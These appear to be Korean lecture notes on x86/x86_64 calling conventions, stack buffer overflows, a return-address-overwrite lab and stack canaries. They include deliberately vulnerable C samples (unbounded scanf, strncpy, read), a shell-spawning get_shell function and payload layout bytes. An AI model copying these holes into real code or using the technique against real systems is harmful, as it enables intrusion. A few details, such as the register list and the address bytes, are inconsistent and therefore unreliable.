함수 호출 규약은 함수의 호출 및 반환에 대한 약속임. 한 함수에서 다른 함수를 호출할 때, 프로그램의 실행 흐름은 다른 함수로 이동한다. 그리고 호출한 함수가 반환하면, 다시 원래의 함수로 돌아와서 기존의 실행 흐름을 이어나간다. 그러므로 함수를 호출할 때는 반환된 이후를 위해 호출자(caller)의 상태 및 반환주소를 저장해야 한다. 또한, 호출자는 피호출자(callee)가 요구하는 인자를 전달해줘야 하며, 피호출자의 실행이 종료될 때는 반환 값을 전달 받아야 한다.

함수 호출 규약을 적용하는 것은 일반적으로 컴파일러의 몫이다. 프로그래머가 고수준 언어로 코드를 작성하면, 컴파일러가 호출 규약에 맞게 코드를 컴파일한다. 호출 규약은 여러 가지가 있는데 프로그래머가 코드에 명시하지 않는다면, 컴파일러는 지원하는 호출 규약 중에서 CPU의 아키텍처에 적합한 것을 선택한다. 따라서 대개의 프로그래머는 함수 호출 규약을 알지 않아도 코드를 작성하는데 문제가 되지 않는다.

그러나 만약, 컴파일러의 도움 없이 어셈블리 코드를 작성하려 하거나, 또는 어셈블리로 작성된 코드를 읽고자 한다면 함수 호출 규약을 알아야 할 필요가 있다. 시스템 해킹에서는 이 둘 모두 필수적인 기술이므로, 이번 강의에서 함수의 호출 규약을 자세히 알아보도록 한다.

## 개요

\* 함수 호출 규약이란?

\* 함수 호출 규약의 종류

\* cdecl 호출 규약

\* SYSV 호출 규약

## 함수 호출 규약의 종류

컴파일러는 지원하는 호출 규약 중, CPU 아키텍처에 적합한 것을 선택한다. 예를 들어, x86 아키텍처는 레지스터를 통해 피호출자의 인자를 전달하기에는 레지스터의 수가 적으므로, 스택으로 인자를 전달하는 규약을 사용한다. 반대로 x86\_64 아키텍처에서는 레지스터가 많으므로 적은 수의 인자는 레지스터만 사용해서 인자를 전달하고, 인자가 너무 많을 때만 스택을 사용한다.

CPU의 아키텍처가 같아도, 컴파일러가 다르면 적용하는 호출 규약이 다를 수 있다. C언어를 컴파일할 때, 윈도우에서는 MSVC를, 리눅스에서는 gcc를 많이 사용한다. 이 둘은 같은 아키텍처에 대해서도 다른 호출 규약을 적용한다. x86\_64 아키텍처에서 MSVC는 MS x64 호출 규약을 적용하지만, gcc는 SYSTEM V 호출 규약을 적용한다. 이 외에 같은 호출 규약을 컴파일러마다 다르게 구현하기도 한다.

다양한 함수 호출 규약

\* x86

\* cdecl

\* stdcall

\* fastcall

\* thiscall

\* x86-64

\* System V AMD64 ABI의 Calling Convention

\* MS ABI의 Calling Convention

## x86\_64 호출 규약 : SYSV

### SYSV

리눅스는 SYSTEM V(SYSV) Application Binary Interface(ABI)를 기반으로 만들어졌다. SYSV ABI ELF 포맷, 링킹 방법, 함수 호출 규약 등의 내용을 담고 있다. file 명령어를 이용 하여 바이너리의 정보를 살펴보면, 다음과 같이 SYSV 문자열이 포함된 것을 확인할 수 있다.

$ file /bin/ls

/bin/ls: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV) ...

SYSV에서 정의한 함수 호출 규약은 다음의 특징을 갖습니다.

1. 6개의 인자를 rdi, rsi, rdx, r8, r9에 순서대로 저장하여 전달한다. 더 많은 인자를 사용해야 할 때는 스택을 추가로 이용한다.

2. Caller에서 인자 전달에 사용된 스택을 정리한다.

3. 함수의 반환 값은 rax로 전달한다.

sysv.c 파일을 컴파일하고 gdb로 동적 분석하며 자세히 살펴보자.

## sysv 상세 분석

SYSV는 앞으로 자주 접할 호출 규약이므로, 실행하며 gdb로 자세히 분석해보자. 먼저 앞에서 소개한 sysv.c를 컴파일 한다.

1. 인자전달

gdb로 sysv를 로드한 후 중단점을 설정하여 caller 함수까지 실행한다. context의 DISASM을 보면, caller+10 부터 caller+37까지 6개의 인자를 각각의 레지스터에 설정하고 있으며, caller+8에서는 7번째 인자인 7을 스택으로 전달하고 있다.

`gdb -q sysv`

callee 함수를 호출하기 전까지 실행하고, 레지스터와 스택을 확인해보자.

우선 disass 명령어로 caller()의 디스어셈블된 코드를 보고 callee()를 호출하는 부분을 파악한 후 해당 부분에 중단점을 설정한다.

`disass caller`

c명령어를 사용해서 프로그램 실행을 진행하면 callee()를 호출하기 직전에 멈춘다.

소스코드에서 callee(123456789123456789, 2, 3, 4, 5, 6, 7)로 함수를 호출했는데, 인자들이 순서대로 rdi, rsi, rdx, rcx, r8, r9 그리고 [rsp]에 설정되어 있는 것을 확인할 수 있다.

2. 반환 주소 저장

si 명령어로 한 단계 더 실행시킨다. call이 실행되고 스택을 확인해보면 0x555555554682가 반환 주소로 저장되어 있다. gdb로 확인해보면 0x555555554682는 callee 호출 다음 명령어의 주소다. callee에서 반환됐을 때, 이 주소를 꺼내어 원래의 실행 흐름으로 돌아갈 수 있다.

3. 스택 프레임 저장

x/5i $rip 명령어로 callee 함수의 도입부를 살펴보면, 가장 먼저 push rbp를 통해 호출자(callee())의 rbp를 저장하고 있다. rbp가 스택프레임의 가장 낮은 주소를 가리키는 포인터이므로, 이를 Stack Frame Pointer라고도 부른다. callee에서 반환될 때, rbp를 꺼내어 caller의 스택 프레임으로 돌아갈 수 있다.

si로 push rbp를 실행하고, 스택을 확인해보면 rbp값인 0x00007fffffffe300가 저장된 것을 확인할 수 있다.

4. 스택 프레임 할당

이제 mov rbp, rsp로 rbp와 rsp가 같은 주소를 가리키게 한다. 바로 다음에 rsp의 값을 빼게 되면, rbp와 rsp 사이 공간을 새로운 스택 프레임으로 할당하는 것이지만, callee 함수는 지역 변수를 사용하지 않으므로, 새로운 스택 프레임을 만들지 않는다.

si로 실행하고, 레지스터를 보면 이 둘이 같은 주소를 가리키는 것을 확인할 수 있다.

\* callee함수에서 ret라는 지역변수를 선언하지 않았나?

코드를 보면 ret를 선언하긴 했으나, 반환 값을 저장하는 용도 외로는 사용되지 않고 있다. gcc는 이런 변수에 대해 스택을 할당하지 않고, rax를 직접 사용한다.

5. 반환값 전달

덧셈 연산을 모두 마치고, 함수의 종결부에 도달하면, 반환값을 rax에 옮긴다. 반환 직전에 rax를 출력하면 전달한 7개 인자의 합인 123456789123456816을 확인할 수 있다.

6. 반환

반환은 저장해뒀던 스택 프레임과 반환 주소를 꺼내면서 이뤄진다. 여기서는 callee 함수가 스택 프레임을 만들지 않았기 때문에, pop rbp로 스택 프레임을 꺼낼 수 있지만, 일반적으로 `leave`로 스택 프레임을 꺼낸다.

스택 프레임을 꺼낸 뒤에는, ret로 호출자로 복귀함. 앞에서 저장해뒀던 sfp로 rbp가, 반환주소로 rip가 설정된 것을 확인할 수 있다.

## cdecl

앞서 언급했듯 x86아키텍처는 레지스터의 수가 적으므로, 스택을 통해 인자를 전달한다. 또한, 인자를 전달하기 위해 사용한 스택을 호출자가 정리하는 특징이 있다. 스택을 통해 인자를 전달할 때는, 마지막 인자부터 첫번째 인자까지 거꾸로 스택에 push한다.

\* 컴파일의 정확한 의미

컴파일(Compilation)의 정확한 의미는 어떤 언어로 작성된 소스 코드(Source Code)를, 다른 언어의 목적 코드(Object Code)로 번역하는 것이다. 소스 코드를 어셈블리어로, 또는 소스 코드를 기계어로 번역하는 행위 모두 컴파일의 범주에 포함된다.

C언어를 실행 가능한 바이너리로 만드는 과정을 보통 전처리, 컴파일, 어셈블, 링크의 4단계로 구분하는데, 이를 합해서 ‘컴파일’이라고 부를 수 있는 것도 위와 같은 이유입니다.

## 요약

이 강의에서는 함수 호출 규약의 개념을 살펴보고, 리눅스에서 많이 사용되는 cdecl, SYSV 호출 규약을 알아봤다. 다음 강의 내용은 이번 강의에서 배운 함수 호출 규약과 밀접한 관련이 있으므로, 이번 강의의 내용을 숙지하고 다음 강의로 진행하자.

### x86 함수 호출 규약

\* 함수 호출규약: stdcall

\* 사용 컴파일러 : MSVC

\* 인자 전달 방식 : Stack

\* 스택 정리 : callee

\* 적용 : WINAPI

\* 함수 호출규약: cdecl

\* 사용 컴파일러 : GCC, MSVC

\* 인자 전달 방식 : Stack

\* 스택 정리 : caller

\* 적용 : 일반 함수

\* 함수 호출규약: fastcall

\* 사용 컴파일러 : MSVC

\* 인자 전달 방식 : ecx, edx

\* 스택 정리 : callee

\* 적용 : 최적화된 함수

\* 함수 호출규약: thiscall

\* 사용 컴파일러 : MSVC

\* 인자 전달 방식 : ecx, stack

\* 스택 정리 : callee

\* 적용 : 클래스의 함수

### x86\_64 함수 호출 규약

\* 함수 호출규약: MS ABI

\* 사용 컴파일러 : MSVC

\* 인자 전달 방식 : rcx, rdx, r8, r9

\* 스택 정리 : caller

\* 적용 : 일반 함수, windows syscall

\* 함수 호출규약: system abi

\* 사용 컴파일러 : GCC

\* 인자 전달 방식 : rdi, rsi, rdx, rcx, r8, r9, XMMO-7

\* 스택 정리 : caller

\* 적용 : 일반 함수

---------------------

# Stack Buffer Overflow

\* 스택 오버플로우와 스택 버퍼 오버플로우의 차이점

스택 영역은 실행중에 크기가 동적으로 확장될 수 있다. 그러나 한정된 크기의 메모리 안에서 스택이 무한히 확장될 수는 없다. 스택 오버플로우(Stack Overflow)는 스택 영역이 너무 많이 확장돼서 발생하는 버그를 뜻함.

반면, 스택 버퍼 오버플로우는 스택에 위치한 버퍼에 버퍼의 크기보다 많은 데이터가 입력되어 발생하는 버그를 뜻한다. 용어가 비슷하여 혼동하기 쉽지만, 이 둘은 전혀 다른 의미를 가지고 있으므로 사용에 주의해야 한다.

## 의미

\* 스택 버퍼 오버플로우는 스택의 버퍼에서 발생하는 오버플로우를 말함. 이를 이해하기 위해 먼저 버퍼와 오버플로우의 개념을 살펴보자.

### 버퍼

버퍼는 일상에서 완충 장치라는 뜻으로 사용되며, 컴퓨터 과학에서는 '데이터가 목적지로 이동되기 전에 보관되는 임시 저장소'의 의미로 쓰인다.

데이터 처리 속도가 다른 두 장치가 있을 때, 이 둘사이에 오가는 데이터를 임시로 저장해 두는 것은 일종의 완충 작용을 한다. 이해를 돕기 위해 키보드에서 데이터가 입력되는 속도보다 데이터를 처리하는 속도가 느린 프로그램이 있다고 가정해보자. 사이에 별도의 장치가 없다면, 키보드의 입력 중에 프로그램에서 수용되지 못한 데이터는 모두 유실될 것이다. abcdefgh르 입력했는데 프로그램에는 abef만 전달될 수도 있다.

이런 문제를 해결하고자 수신 측과 송신 측 사이에 버퍼라는 임시 저장소를 두고, 이를 통해 간접적으로 데이터를 전달하게 한다. 송신 측은 버퍼로 데이터를 전송하고, 수신 측은 버퍼에서 데이터를 꺼내 사용한다. 이렇게 하면 버퍼가 가득 찰 때까지는 유실되는 데이터 없이 통신할 수 있다. 빠른 속도로 이동하던 데이터가 안정적으로 목적지에 도달할 수 있도록 완충 작용을 하는 것이 버퍼의 역할이라고 할 수 있다.

현대에는 이런 완충의 의미가 많이 희석되어 데이터가 저자될 수 있는 모든 단위를 버퍼라고 부르기도 한다. 스택에 있는 지역 변수는 '스택 버퍼', 힙에 할당된 메모리 영역은 '힙 버퍼' 라고 불린다.

#### 버퍼링

스트리밍 서비스에서 버퍼링이라는 표현을 들어봤을 것이다. 이는 버퍼에서 유래된 단어로, 송신 측의 전송 속도가 느려서 수신 측의 버퍼가 채워질 때까지 대기하는 것을 의미한다.

### 버퍼 오버플로우

버퍼 오버플로우는 문자 그대로 버퍼가 넘치는 것을 의미함. 버퍼는 제각기 크기를 가지고 있는데, int로 선언한 지역변수는 4바이트의 크기를 갖고, 10개의 원소를 갖는 char 배열은 10바이트의 크기를 갖는다. 만약 10바이트 크기의 버퍼에 20바이트 크기의 데이터가 들어가려 하면 오버플로우가 발생한다. 일반적으로 버퍼는 메모리상에 연속해서 할당되어 있으므로, 어떤 버퍼에서 오버플로우가 발생하면, 뒤에 있는 버퍼들의 값이 조작될 위험이 있다.

버퍼 오버플로우는 일반적으로 어떤 메모리 영역에서 발생해도 큰 보안 위협으로 이어진다.

## 중요 데이터 변조

버퍼 오버플로우가 발생하는 버퍼 뒤에 중요한 데이터가 있다면, 해당 데이터가 변조됨으로써 문제가 발생할 수 있다. 예를 들어, 입력 데이터에서 악성 데이터를 감지하여 경고해주는 프로그램이 있을 때, 악성의 조건이 변경되면 악성 데이터에도 알람이 울리지 않을 수 있다. 또한 "https://twitter.com" 와 통신하는 프로그램이 있다면 주소를 "https://example.evil"로 조작하여 악성 서버와 데이터를 주고받게 할 수도 있다.

다음 예제의 main 함수는 argv[1]을 check\_auth 함수의 인자로 전달한 후, 반환 값을 받아온다. 이 때, 반환 값이 0이 아니라면 "Hello Admin!"을, 0이라면 "Access Denied!" 라는 문자열을 출력한다.

check\_auth 함수에서는 16바이트 크기의 temp 버퍼에 입력받은 패스워드를 복사한 후, 이를 "secret\_password" 문자열과 비교한다. 문자열이 같다면 auth를 1로 설정하고 반환한다.

그런데 check\_auth에서 strncpy 함수를 통해 temp 버퍼를 복사할 때, temp의 크기인 16바이트가 아닌 인자로 전달된 password의 크기만큼 복사한다. 그러므로 argv[1]에 16바이트가 넘는 문자열을 전달하면, 이들이 모두 복사되어 스택 버퍼 오버플로우가 발생하게 된다.

auth는 temp 버퍼의 뒤에 존재하므로, temp 버퍼에 오버플로우를 발생시키면 auth의 값을 0이 아닌 임의의 값으로 바꿀 수 있다. 이 경우 실제 인증 여부와는 상관없이 main 함수의 if(check\_auth(argv[1]))는 항상 참이 된다.

## 데이터 유출

C언어에서 정상적인 문자열은 널바이트로 종결되며, 표준 문자열 출력 함수들은 널바이트를 문자열의 끝으로 인식한다. 만약 어떤 버퍼에 오버플로우를 발생시켜서 다른버퍼와의 사이에 있는 널바이트를 모두 제거하면, 해당 버퍼를 출력시켜서 다른 버퍼의 데이터를 읽을 수 있다.획득한 데이터는 각종 보호기법을 우회하는데 사용될 수 있으며, 해당 데이터 자체가 중요한 정보일 수도 있다.

8바이트 크기의 name 버퍼에 12바이트의 입력을 받는다. 읽고자 하는 데이터인 secret버퍼와의 사이에 barrier라는 4바이트의 널 배열이 존재하는데, 오버플로우를 이용하여 널 바이트를 모두 다른 값으로 변경하면 secret을 읽을 수 있다. 오른쪽 인터랙티브 모듈을 활용해 "secret message"를 출력해보자.

## 실행 흐름 조작

Background: Calling Convention 의 내용을 되짚어 보면, 함수를 호출할 때 반환 주소를 스택에 쌓고, 함수에서 반환될 때 이를 꺼내어 원래의 실행 흐름으로 돌아간다고 했다. 이를 공격자의 관점에서 바라보면, '스택 버퍼 오버플로우로 반환 주소를 조작하면 어떻게 될까' 하는 궁금증을 가져볼 수 있다. 그리고 실제로, 함수의 반환 주소를 조작하면 프로세스의 실행 흐름을 바꿀 수 있다.

## 마무리

버퍼 오버플로우는 지정된 버퍼의 크기보다 많은 데이터가 입력되어 발생한다. 모든 메모리 영역에서 발생할 수 있으며, 이를 통해 데이터 변조, 데이터 유출, 실행흐름 조작 등이 가능할 수 있다. 이번 강의에서는 많은 메모리 여역 중, 스택에서 버퍼 오버플로우가 발생하면 어떤 보안 위협으로 이어질 수 있을지 간단한 인터렉티브 모듈을 통해 알아봤다.

스택 버퍼 오버플로우는 역사가 깊은 취약점인 만큼 다양한 보호 기법이 제시되었고, 이를 다시 우회하는 기법들도 많이 연구되어있다. 로드맵을 따라가면서 이 둘이 어떻게 상호 견제하며 발전해 왔는지 살펴볼 수 있을 것이다.

# Return Address Overwrite

## 취약점 분석

프로그램의 취약점은 scanf("%s", buf)에 있다. scanf 함수의 포맷 스트링 중 하나인 %s는 문자열을 입력받을 때 사용하는 것으로, 입력의 길이를 제한하지 않으며, 공백 문자인 띄어쓰기, 탭, 개행 문자 등이 들어올 때까지 계속 입력을 받는다는 특징이 있다.

이런 특징으로 인해, 실수로 도는 악의적으로 버퍼의 크기보다 큰 데이터를 입력하면 오버플로우가 발생할 수 있다. 따라서 scanf에 %s 포맷 스트링은 절대로 사용하지 말아야 하며, 정확히 n개의 문자만 입력받는 %[n]s 의 형태로 사용해야 한다.

이외에도, C/C++의 표준 함수 중, 버퍼를 다루면서 길이를 입력하지 않는 함수들은 대부분 위험하다고 생각해야 한다. 대표적으로, strcpy, strcat, sprintf가 있다. 코드를 작성할 때는 버퍼의 크기를 같이 입력하는 trtncpy, strncat, snprintf, fgets, memcpy 등을 사용하는 것이 바람직하며, 프로그램의 취약점을 찾을 때는 취약한 함수들이 사용되지 않았는지 유의해서 살펴보는 것이 좋다.

이 예제에서는 크기가 0x28인 버퍼에 scanf("%s", buf)로 입력을 받으므로, 입력을 길게 준다면 버퍼 오버플로우를 발생시켜서 main 함수의 반환 주소를 덮을 수 있을 것이다.

\* C/C++의 문자열 종결자(Terminator)와 표준 문자열 함수들의 취약성

C계열 언어에서는 널바이트(“\x00”)로 종료되는 데이터 배열을 문자열로 취급하며, 문자열을 다루는 대부분의 표준 함수는 널바이트를 만날 때까지 연산을 진행합니다. 예를 들어, char\* strcpy(char\* dest, const char\* src)은 src배열의 첫 번째 인덱스부터 널바이트가 저장된 인덱스까지 참조하여 dest에 값을 복사합니다.

여기서 생각해봐야 할 것은 src에 널바이트가 없을 경우입니다. 문자열 함수는 널바이트를 찾을 때까지 배열을 참조하므로, 코드를 작성할 때 정의한 배열의 크기를 넘어서도 계속해서 인덱스를 증가시킵니다. 이런 동작으로 인해 참조하려는 인덱스 값이 배열의 크기보다 커지는 현상을 Index Out-Of-Bound라고 부르며, 줄여서 OOB라고도 합니다. 그리고 해당 버그를 발생시키는 취약점을 Out-Of-Bound(OOB)취약점이라고 부릅니다.

OOB는 심각한 보안 취약점 중 하나로, 이를 이용하여 해커는 프로그래머가 의도하지 않은 주소의 데이터를 읽거나, 조작할 수 있고, 몇몇 조건이 만족되면 소프트웨어에 심각한 오동작을 일으킬 수도 있습니다. 이를 방지하기 위해 개발자는 입력의 길이를 제한하는 문자열 함수를 사용해야 하며, 문자열을 사용할 때는 반드시 해당 문자열이 널바이트로 종결되는지 확인해야 합니다.

OOB에 대해서는 이 로드맵의 후반부에 더 자세히 소개할 것입니다.

## 트리거

발견한 취약점을 확인해보자. 이런 행위를 취약점을 발현시킨다는 의미에서 트리거라고도 표현한다.

바이너리를 실행해보자. 입력 받는 메세지가 출력됨. 여기에 "A"를 다섯 개 입력해보자.

A를 64번 입력 했을때 Segmentation fault라는 에러가 출력되며, 프로그램이 비정상적으로 종료된다. 이는 프로그램이 잘못된 메모리 주소에 접근했다는 의미이며, 프로그램에 버그가 발생했다는 신호다. 이 에러에 대한 메세지는 "https://en.wikipedia.org/wiki/Segmentation\_fault" 에서 확인이 가능하다.

뒤의 (core dumped)는 코어파일을 생성했다는 것으로, 프로그램이 비정상 종료됐을 때, 디버깅을 돕기 위해 운영체제가 생성해주는 것이다.

Ubuntu 20.04 버전 이상은 기본적으로 /var/lib/apport/coredump 디렉토리에 코어 파일을 생성한다.

\* 코어 파일이 생성되지 않았습니다.

리눅스는 기본적으로 코 파일의 크기에 제한을 두고 있다. 바이너리가 세그먼테이션 폴트를 발생시키고도 코어파일을 생성하지 않았다면, 생성해야할 코어파일의 크기가 이를 초과했기 때문이다. 다음 커맨드로 그 제한을 해제 하고, 다시 오류를 발생시키면 코어 파일을 얻을 수 있다.

`ulimit -c unlimited`

## 코어 파일 분석

gdb에는 코어 파일을 분석하는 기능이 있다. 이를 이용하여 입력이 스택에 어떻게 저장됐는지 살펴보고, 쉘을 획득하기 위한 계획을 세워보자.

다음 명령어로 코어 파일을 연다. 프로그램이 종료된 원인이 나타나고, 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여준다.

`gdb rao -c core.1828876`

컨텍스트에서 디스어셈블된 코드와 스택을 관찰하면, 프로그램이 main 함수에서 반환하려고 하는데, 스택 최상단에 저장된 값이 입력값의 일부인 0x4141414141414141('AAAAAAAA') 라는 것을 알 수 있다. 이는 실행가능한 메모리의 주소가 아니므로 세그먼테이션 폴트가 발생한 것이다. 이 값이 원하는 코드 주소가 되도록 적절한 입력을 주면, main 함수에서 반환될 때, 원하는 코드가 실행 되도록 조작할 수 있을 것이다.

## 익스플로잇

### 스택프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜서 반환주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 한다. 이를 위해 main의 어셈블리 코드를 살펴보자. 주목해서 봐야 할 코드는 scanf에 인자를 전달하는 부분이다.

이를 의사 코드로 표현하면 다음과 같다.

`scanf("%s", (rbp-0x30))`;

즉, 오버플로우를 발생시킬 버퍼는 rbp-0x30에 위치한다. 스택 프레임의 구조를 떠올려 보면, rbp에 스택 프레임 포인터가 저장되고, rbp+0x8에는 반환 주소가 저장된다. 이를 바타아으로 스택 프레임을 그려보면 다음과 같다.

텍스트, 스크린샷, 폰트, 라인이(가) 표시된 사진

자동 생성된 설명

입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로, 그만큼 쓰레기 값으로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있을 것이다.

## get\_shell() 주소 확인

이 예제에서는 쉘을 실행해주는 get\_shell() 함수가 있으므로, 이 함수의 주소로 main 함수의 반환 주소를 덮어서 쉘을 획득할 수 있다.

<code>

void get\_shell(){

char \*cmd = "/bin/sh";

char \*args[] = {cmd, NULL};

execve(cmd, args, NULL);

}

</code>

## 페이로드 구성

텍스트, 전자제품, 디스플레이, 스크린샷이(가) 표시된 사진

자동 생성된 설명

이제 익스플로잇에 사용할 페이로드를 구성해야 한다. 시스템 해킹에서 페이로드는 공격을 위해 프로그램에 전달하는 데이터를 의미한다. 앞에서 파악한 정보를 바탕으로 다음 그림과 같은 페이로드를 구성할 수 있다.

## 엔디언 적용

구성한 페이로드는 적절한 엔디언을 적용해서 프로그램에 전달해야 한다. 엔디언은 메모리에서 데이터가 정렬되는 방식으로 주로 리틀 엔디언, 주로 리틀 엔디언과 빅 엔디언이 사용된다.

리틀 엔디언에서 데이터의 Most Significant Byte가 가장 높은 주소에 저장되고, 빅 엔디언에서는 데이터의 MSB가 가장 낮은 주소에 저장된다.

예를 들어, 0x12345678은 엔디언에 따라 다음과 같이 저장된다.

익스플로잇을 작성할 때는 대상 시스템의 엔디언을 고려해야한다. 이 로드맵은 리틀 엔디언을 사용하는 인텔 x86\_64 아키텍처를 대상으로 하므로, get\_shell()의 주소인 0x4006aa 는 “\xaa\x06\x40\x00\x00\x00\x00\x00” 로 전달돼야 한다.

## 익스플로잇

엔디언을 적용하여 페이로드를 작성하고, 이를 다음의 커맨드로 rao에 전달하면 쉘을 획득할 수 있다. 커맨드가 다소 복잡해 보이는데, 이는 파이썬으로 출력한 페이로드를 rao의 입력으로 전달한다.

# 취약점 패치

## 취약점 패치

취약점을 발견하는 것만큼 중요한 것이 발견한 취약점을 패치하는 것이다. 이 로드맵에서는 여러 가지 취약점을 소개하는 동시에 강의의 부록에서 취약점의 패치 방법을 같이 소개해 줄것이다.

## rao

rao에서는 위험한 문자열 입력함수를 사용하여 취약점이 발생했다. 해당 취약점을 패치하기 위해 C언어에서 자주 사용되는 문자열 입력 함수와 패턴들을 살펴보고, 각각의 특징을 알아보자.

\* 입력함수(패턴) : gets(buf)

\* 위험도 : 매우 위험

\* 평가 근거 :

- 입력받는 길이에 제한이 없음.

- 버퍼의 널 종결을 보장하지 않음: 입력의 끝에 널 바이트를 삽입하므로, 버퍼를 꽉 채우면 널바이트로 종결되지 않음. 이후 문자열 관련 함수를 사용할 때 버그가 발생하기 쉬움.

\* 입력함수(패턴) : scanf("%s", buf)

\* 위험도 : 매우 위험

\* 평가 근거 :

- 입력받는 길이에 제한이 없음.

- 버퍼의 널 종결을 보장하지 않음: gets와 동일.

\* 입력함수(패턴) : scanf("%[width]s", buf)

\* 위험도 : 주의 필요

\* 평가 근거 :

- width만큼만 입력받음: width를 설정할 때 width <= size(buf) - 1 을 만족하지 않으면, 오버플로우가 발생할 수 있음.

- 버퍼의 널 종결을 보장하지 않음: gets와 동일.

\* 입력함수(패턴) : fgets(buf, len, stream)

\* 위험도 : 주의 필요

\* 평가 근거 :

- len만큼만 입력받음: len을 설정할 때 len <= size(buf)을 만족하지 않으면, 오버플로우가 발생할 수 있음.

- 버퍼의 널 종결을 보장함.

- len보다 적게 입력하면, 입력의 끝에 널바이트 삽입.

- len만큼 입력하면, 입력의 마지막 바이트를 버리고 널바이트 삽입.

- 데이터 유실 주의: 버퍼에 담아야 할 데이터가 30바이트인데, 버퍼의 크기와 len을 30으로 작성하면, 29바이트만 저장되고, 마지막 바이트는 유실됨

## 요약

이번 강의에서는 엔디언의 개념과, 스택 오버플로우를 이용하여 반환 주소를 덮는 공격 기법을 살펴봤다. 실습의 편의를 위해 get\_shell() 이라는 함수를 정의하여 사용했으나, 실제로는 개발자가 악의적으로 삽입하지 않는 한, 저런 함수가 포함된 프로그램은 존재하기 어렵다. 앞으로의 강의를 통해 저런 함수 없이 어떻게 쉘을 획득할 수 있을지 살펴보도록 하자.

또한, 이번 실습에서는 파이썬을 이용한 커맨드로 간단한 형식의 익스플로잇을 수행했으나, 프로그램이 복잡해지면 이런 방식으로 익스플로잇을 하기가 어렵다. 해커들은 이런 어려움을 해소하고, 더욱 편리하게 익스플로잇을 수행하기 위해 pwntools라는 파이썬 모듈을 개발했다. 한번 pwntools 강의를 다시 살펴보고 rao를 pwntools를 활용하여 익스플로잇 해보면서 사용법을 익혀보자.

# Return Address Overwrite

## 분석

1. 취약점 분석

main 함수에서 scanf("%s", buf)를 보면 입력 길이에 제한 없이 입력을 받고 있다. 그래서 오버플로우 공격이 가능하다.

크기가 0x28 바이트인 버퍼에 입력을 받고 있기 때문에, 0x28 바이트 이상의 데이터를 입력하면 버퍼 오버플로우를 발생시켜서 main 함수의 반환 주소를 덮을 수 있다.

C++의 표준 함수 중 취약한 함수에는 strcpy, strcat, sprintf, scanf 등이 있다.

2. 트리거

\* 발견한 취약점을 확인하는 행위

"A"를 5개 입력해보면 프로그램이 정상적으로 종료된다.

이번에 "A"를 64개 입력해보면 위와 달리 Segmentation fault 라는 에러가 출력되며, 프로그램이 비정상적으로 종료된다.

프로그램이 잘못된 주소에 접근했다는 의미이고, 버그가 발생했다는 의미다.

추가적으로(core dumped) 라는 메시지와 함께 코어 파일이 생성됐는데, 프로그램이 비정상적으로 종료됐을 때 디버깅을 돕기 위한 것이다.

3. 코어 파일 분석

gdb에는 코어 파일을 분석하는 기능이 있어서 입력이 스택에 어떻게 들어갔는지 확인할 수 있고 쉘을 획득하기 위한 계획을 세울 수 있다.

gdb로 코어파일을 열어보면 프로그램의 종료원인과 어떤 주소의 명령어를 실행하다가 문제가 발생했는지 보여준다.

## 익스플로잇

1. 스택 프레임 구조 파악

스택 버퍼에 오버플로우를 발생시켜서 반환 주소를 덮으려면, 우선 해당 버퍼가 스택 프레임의 어디에 위치하는지 조사해야 한다.

main의 어셈블리 코드에서 scanf 부분을 의사 코드로 표현해보면 scanf("%s", rbp-0x30) 가 된다.

buf와 return address 사이에 0x38만큼 떨어져 있기 때문에, 0x38만큼 쓰레기 값으로 채우고 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.

2. get\_shell() 주소 확인

쉘을 실행시켜주는 get\_shell() 함수가 있기 때문에, main 함수의 반환 주소를 get\_shell() 함수의 주소로 덮으면 쉘을 획득할 수 있다.

gdb로 get\_shell() 함수의 주소를 찾아보면

3. 페이로드 구성

시스템 해킹에서 페이로드는 공격을 위해 전달하는 데이터를 의미한다.

익스플로잇을 위해 페이로드를 구성해보면

(페이로드 구성 이미지 첨부)

4. 엔디언 적용

페이로드는 적절한 엔디언을 적용해서 프로그램에 전달해야 한다.

엔디언은 메모리에서 데이터가 정렬되는 방식으로 리틀 엔디언과 빅 엔디언이 사용된다.

MSB(Most Significant Byte) : 가장 왼쪽 바이트

리틀 엔디언 : MSB가 가장 높은 주소에 저장된다. -> 오른쪽에서 왼쪽으로 읽는다.

빅 엔디언 : MSB가 가장 낮은 주소에 저장된다. -> 왼쪽에서 오른쪽으로 읽는다.

ex) 0x12345678

리틀 엔디언) 78 56 34 12

빅 엔디언) 12 34 56 78

인텔 x86\_64 아키는 리틀 엔디언을 사용하기 때문에, get\_shell 함수의 주소는 “\\xaa\\x05\\x40\\x00\\x00\\x00\\x00\\x00” 로 변환해서 전달해줘야 한다.

--------------------

# Stack Canary

Return Address Overwrite 강의에서는 스택의 반환 주소를 조작하여 실행 흐름을 획득하는 공격 기법을 배웠다.

스택 버퍼 오버플로우를 이용한 공격은 매우 강력하면서, 역사가 오래됐기 때문에 관련된 보호 기법도 등장했다. 이번 강의에서는 스택 버퍼 오버플로우로부터 반환 주소를 보호하는 스택 카나리에 대해 배워보자.

\*\*스택 카나리는 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법이다.

카나리 값의 변조가 확인되면 프로세스는 강제로 종료된다.\*\*

스택 버퍼 오버플로우로 반환 주소를 덮으려면 반드시 카나리를 먼저 덮어야 하므로 카나리 값을 모르는 공격자는 반환 주소를 덮을 때 카나리 값을 변조하게 된다. 이 경우, 에필로그에서 변조가 확인되어 공격자는 실행 흐름을 획득하지 못한다.

## 카나리 작동 원리

### 카나리 정적 분석

다음 예제 코드에는 스택 버퍼 오버플로우 취약점이 존재한다. 이 토픽에서는 카나리를 활성화하여 컴파일한 바이너리와, 비활성화하여 컴파일한 바이너리를 비교하여 스택 카나리의 원리를 살펴본다.

<code>

// Name: canary.c

#include <unistd.h>

int main() {

char buf[8];

read(0, buf, 32);

return 0;

}

</code>

### 카나리 비활성화

실습 환경인 ubuntu 22.04의 gcc는 기본적으로 스택 카나리를 적용하여 바이너리를 컴파일한다. 컴파일 옵션으로 -fno-stack-protector 옵션을 추가해야 카나리 없이 컴파일할 수 있다.

다음 명령어로 예제를 컴파일하고 길이가 긴 입력을 주면, 쉽게 예상할 수 있듯, 바노한 주소가 덮여서 Segmentation fault가 발생한다.

